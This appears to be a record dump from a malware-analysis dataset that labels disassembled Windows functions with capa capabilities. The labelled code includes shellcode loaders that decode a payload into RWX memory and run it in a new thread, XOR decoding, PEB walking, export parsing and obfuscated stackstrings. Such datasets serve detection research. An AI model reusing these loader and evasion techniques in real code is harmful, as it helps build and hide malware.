joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1016dd7c
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x10196c10
call fcn.10158e50
xor esi, esi
cmp dword [0x10a5aaf8], esi
jne 0x1016ddc0
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1016ddab
mov dword [0x10a5aaf8], edi
jmp 0x1016ddc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1016ddc0
mov dword [0x10a5aaf8], 2
mov eax, dword [0x10a5aaf8]
cmp eax, 2
je 0x1016dea1
cmp eax, esi
je 0x1016dea1
cmp eax, 1
jne 0x1016de05
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x1016ddee
mov eax, dword [0x10a5a91c]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x1016de0c
xor eax, eax
jmp 0x1016deb3
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.10158fb0
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x1016de42
cmp edi, esi
jne 0x1016de5d
lea eax, [ebx + ebx]
push eax
call fcn.10158ce7
pop ecx
mov edi, eax
cmp edi, esi
je 0x1016de05
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1016de90
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x1016de7a
push esi
push esi
jmp 0x1016de80
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x1016de9c
push edi
call fcn.10158cf9
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x1016deb3
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.10158e8b
ret

Function at 0x10a653a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
push ecx
mov edi, eax
mov esi, dword [esp + 0x10]
mov eax, 0xa46de6
xor esi, eax
sub esi, eax
and esi, 0xffff
call 0x10a653c1
pop eax
sub eax, 0x135
add esi, eax
mov ecx, dword [esp + 0x14]
mov eax, dword [esi]
inc esi
push edi
mov ah, byte [esi]
xor ah, al
mov byte [edi], ah
inc esi
ror al, 1
inc edi
dec ecx
jne 0x10a653d1
pop eax
pop ecx
pop edi
pop esi
ret
Function at 0x10a6558a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov eax, esi
add eax, dword [esi + 0x3c]
mov edi, esi
add edi, dword [eax + 0x78]
lea eax, [ebx*4]
add eax, dword [edi + 0x20]
mov edx, dword [eax + esi]
lea eax, [esi + edx]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.10a65550
test eax, eax
jne 0x10a655f9
mov ebx, 0
cmp ebx, dword [edi + 0x18]
jae 0x10a65616
lea eax, [ebx*4]
add eax, dword [edi + 0x20]
mov edx, dword [eax + esi]
lea eax, [esi + edx]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.10a65550
test eax, eax
je 0x10a65610
lea eax, [ebx + ebx]
add eax, dword [edi + 0x24]
movzx eax, word [eax + esi]
shl eax, 2
add eax, dword [edi + 0x1c]
add esi, dword [eax + esi]
mov eax, esi
jmp 0x10a6561b
inc ebx
cmp ebx, dword [edi + 0x18]
jb 0x10a655d6
mov eax, 0
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40d150
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5aae18
mov eax, dword fs:[0]
push eax
push ebx
push esi
mov eax, dword [0x6216ec]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov esi, dword [esp + 0x1c]
cmp dword [esi + 0x30], 0x10
jb 0x40d18e
mov eax, dword [esi + 0x1c]
push eax
call fcn.00548a36
add esp, 4
mov dword [esi + 0x30], 0xf
mov dword [esi + 0x2c], ebx
mov byte [esi + 0x1c], bl
mov dword [esp + 0x14], 0xffffffff
cmp dword [esi + 0x14], 0x10
jb 0x40d1b4
mov eax, dword [esi]
push eax
call fcn.00548a36
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x40e050
Capabilities:
Create thread

Disassembly:
push esi
push 8
call fcn.00548a50
add esp, 4
push 0
mov esi, eax
mov eax, dword [esp + 0xc]
push 0
push esi
push 0x40e020
test edi, edi
push 0
setne cl
push 0
mov dword [esi], eax
mov byte [esi + 4], cl
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x40e090
push esi
call fcn.00548a36
add esp, 4
xor al, al
pop esi
ret
test edi, edi
je 0x40e09a
mov dword [edi], eax
mov al, 1
pop esi
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
ret
Function at 0x418780
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00418511
sbb byte [esi + 0x458d0194], dh
test al, 0x50
call fcn.00418521
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.004184d6
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4187ff
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00418511
retf

Function at 0x4191e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esp, 0x1fffffa
cmp dword [ebp - 0x398], 0
je 0x419205
cmp dword [ebp - 0x398], 0
je 0x4193cf
cmp dword [ebp + 0xc], 1
je 0x4193cf
cmp dword [ebp + 0xc], 8
jne 0x419397
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.00418521
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004184d6
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
invalid
Function at 0x41a6c0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
invalid
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x41a6d5
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.00418511
sbb eax, 0x8b2c5bde
pop ebx
sub al, 0x8b
clc
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.00418511
test byte [eax], bl
fcmovnbe st(0), st(2)
dec ecx
mov esi, dword [ebx + ecx*4]
xor al, 0x8b
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x41a6fe
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x41a6fe
call fcn.00418511
and bl, byte [ecx + 0x3d]
loopne 0x41a6ac
invalid
pop edx
and al, 3
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
mov eax, dword [ebx]
invalid
push eax
call fcn.00418511
wait
js 0x41a7b9
adc bh, bh
jne 0x41a748
push dword [ebp + 4]
push dword [ebp]
call fcn.00418d11
int3
in eax, 0xff
dec esp
int3
add byte [eax], al
add byte [eax], al

Function at 0x427390
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x5bff69
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x6216ec]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov esi, dword [esp + 0x18]
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esi], vtable.ipc::proto::CandidateList.0
mov dword [esi + 4], eax
lea ecx, [esi + 0x1c]
mov dword [esi + 0x10], ecx
mov ecx, 4
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], ecx
lea edx, [esi + 0x3c]
mov dword [esi + 0x2c], edx
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], ecx
mov byte [esp + 0x10], 3
mov ecx, 1
mov dword [esi + 0x74], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], ecx
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], eax
mov dword [esi + 0x68], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x70], eax
mov dword [esi + 0x5c], 0xa
mov dword [esi + 0x78], eax
mov eax, dword [esp + 0x1c]
push eax
mov ecx, esi
call fcn.00428a30
mov eax, esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0xc
ret 8
Function at 0x401760
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403845
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Hacked_By_0xFA
lea ecx, [ebp - 0x50]
call fcn.00401ff0
push str.180_137_225_107_101_100_77_203_156_28_240_28_205_17_120_234_49_103_238_54_57_201_11_5_63_207_12_103_121_158_207_87_4_24_47_110_89_236_255_117_71_134_170_147_49_60_238_54_61_201_51_17_187_52_87_57_171_41_98_186_52_239_116_98_120_254_187_49_94_162_114_40_232_95_238_101_251_115_134_129_241_183_75_64_143_89_131_30_147_103_80_186_66_80_20_13_162_25_195_57_71_106_182_2_166_78_50_166_104_100_71_146_195_101_232_106_181_237_105_102_93_118_107_25_31_27_25_158_131_52_58_62_166_80_146_160_109_18_71_204_205_211_99_107_101_52_69_115_242_66_183_135_147_250_184_212_193_61_13_194_184_255_228_210_229_68_64_61_66_225_152_139_16_97_150_5_106_95_95_18_70_18_183_180_0_10_9_7_3_39_1_72_48
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0
call fcn.00401ff0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 1
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
push eax
lea edx, [ebp - 0x38]
movq qword [ebp - 0x1c], xmm0
lea ecx, [ebp - 0x1c]
call fcn.004015e0
mov edi, dword [ebp - 0x18]
add esp, 4
mov ebx, dword [ebp - 0x1c]
sub edi, ebx
inc edi
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test ebx, ebx
je 0x401840
mov ecx, dword [ebp - 0x14]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x401836
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401896
push ecx
push ebx
call fcn.004028e2
add esp, 8
mov ecx, dword [ebp - 0x24]
cmp ecx, 0xf
jbe 0x401870
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401866
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401896
push ecx
push edx
call fcn.004028e2
add esp, 8
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x4018a6
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40189c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40189c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004028e2
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004028a4
mov esp, ebp
pop ebp
ret
Function at 0x403145
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403184
mov ecx, ?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z
cmp word [eax], cx
jne 0x403184
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403184
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403184
cmp dword [ecx + 0x74], 0xe
jbe 0x403184
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432006
Capabilities:
Encode data using xor

Disassembly:
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401ed0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x401ef9
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401f0f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401f06
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x401f42
nop
cmp esi, ecx
jae 0x401f06
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x401f30
cmp esi, ecx
jae 0x401f06
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402aa0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
call fcn.0041ba6c
mov ebx, eax
test ebx, ebx
jne 0x402ac0
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x402ba7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402ba7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402ba7
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x402b28
cmp esi, ecx
jae 0x402ba7
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x402b12
cmp esi, ecx
jae 0x402ba7
movzx eax, word [esi]
test ax, ax
je 0x402ba7
push 0
push 0
push 0
push 0
push eax
lea ecx, [esi + 2]
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x402bb2
mov ebx, dword [ebp - 4]
mov edx, 1
mov eax, dword [ebx]
mov ecx, dword [eax - 8]
sub edx, dword [eax - 4]
sub ecx, edi
or edx, ecx
jge 0x402b71
push edi
mov ecx, ebx
call fcn.00402e10
mov eax, dword [ebx]
push 0
push 0
push edi
push eax
movzx eax, word [esi]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x402bb2
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
pop esi
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00401e80
int3
Function at 0x402c20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x402d11
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402d11
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402d11
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x402c97
cmp esi, ecx
jae 0x402d11
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x402c81
cmp esi, ecx
jae 0x402d11
movzx eax, word [esi]
test ax, ax
je 0x402d11
push 0
push 0
push 0
push 0
push eax
lea ecx, [esi + 2]
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x402d1a
mov eax, dword [ebx]
mov edx, 1
mov ecx, dword [eax - 8]
sub edx, dword [eax - 4]
sub ecx, edi
or edx, ecx
jge 0x402cdd
push edi
mov ecx, ebx
call fcn.00402e10
mov eax, dword [ebx]
push 0
push 0
push edi
push eax
movzx eax, word [esi]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebx]
cmp edi, dword [ecx - 8]
jg 0x402d1a
mov dword [ecx - 0xc], edi
mov eax, 1
mov ecx, dword [ebx]
mov byte [edi + ecx], 0
pop edi
pop esi
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
push 0x80070057
call fcn.00401e80
int3

Function at 0x403d60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.00481b2f

Function at 0x404ac0
Capabilities:
Enumerate files on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x114c
call fcn.0056cf60
mov eax, dword [0x604e44]
xor eax, esp
mov dword [esp + 0x1148], eax
push ebx
push esi
push edi
push str.C:ProgramDataMicrosoftWindowsStart_MenuPrograms
push str._s
lea eax, [esp + 0x158]
xor esi, esi
push 0x1000
push eax
call fcn.00403c80
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404b76
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [esp + 0x10]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x404b22
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push ecx
mov edx, str.ProgramData_
mov ecx, 0x60e010
call fcn.004074d0
add esp, 4
mov ecx, eax
call fcn.00405590
push eax
call fcn.00407780
add esp, 4
cmp esi, 0xc
jl 0x404ba5
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1148]
xor ecx, esp
call fcn.0056c18b
mov esp, ebp
pop ebp
ret
mov edx, 0x5e2514
mov ecx, 0x60e108
call fcn.004074d0
push eax
call fcn.00407780
mov ecx, dword [esp + 0x1158]
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0056c18b
mov esp, ebp
pop ebp
ret
push 1
call fcn.00576e43
int3
Function at 0x404bb0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf3cd4
call fcn.0056cf60
mov eax, dword [0x604e44]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, ecx
call ebx
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [ebp - 0xf3cd0], 0
push 0
lea eax, [ebp - 0xf3cd0]
push eax
push edi
lea eax, [ebp - 0xf3ccc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
je 0x404cbe
cmp edi, 0x40
jb 0x404cad
movaps xmm2, xmmword [0x5e2d90]
mov ecx, edi
and ecx, 0x3f
mov edx, edi
sub edx, ecx
nop dword [eax]
nop word [eax + eax]
movups xmm0, xmmword [ebp + eax - 0xf3ccc]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0xf3ccc], xmm0
movups xmm0, xmmword [ebp + eax - 0xf3cbc]
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0xf3cbc], xmm1
movups xmm0, xmmword [ebp + eax - 0xf3cac]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0xf3cac], xmm1
movups xmm0, xmmword [ebp + eax - 0xf3c9c]
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0xf3c9c], xmm0
add eax, 0x40
cmp eax, edx
jb 0x404c50
cmp eax, edi
jae 0x404cbe
xor byte [ebp + eax - 0xf3ccc], 0x9c
inc eax
cmp eax, edi
jb 0x404cb1
push 0x40
push 0x3000
push 0xf3cc8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0xf3ccc]
push 0xf3cc8
push eax
push edi
call fcn.005706f0
add esp, 0xc
call dword [0x60ec88]
push 0
push 0
push 1
push 0
mov esi, eax
call ebx
push 0
push 0
push 0x64
push 0
push edi
mov ebx, eax
lea eax, [ebp - 0xf3cd4]
push esi
push eax
call dword [0x60eb64]
test eax, eax
je 0x404d39
push 0xffffffffffffffff
push ebx
call dword [0x60eb60]
test eax, eax
je 0x404d39
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.00403c50
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0056c18b
mov esp, ebp
pop ebp
ret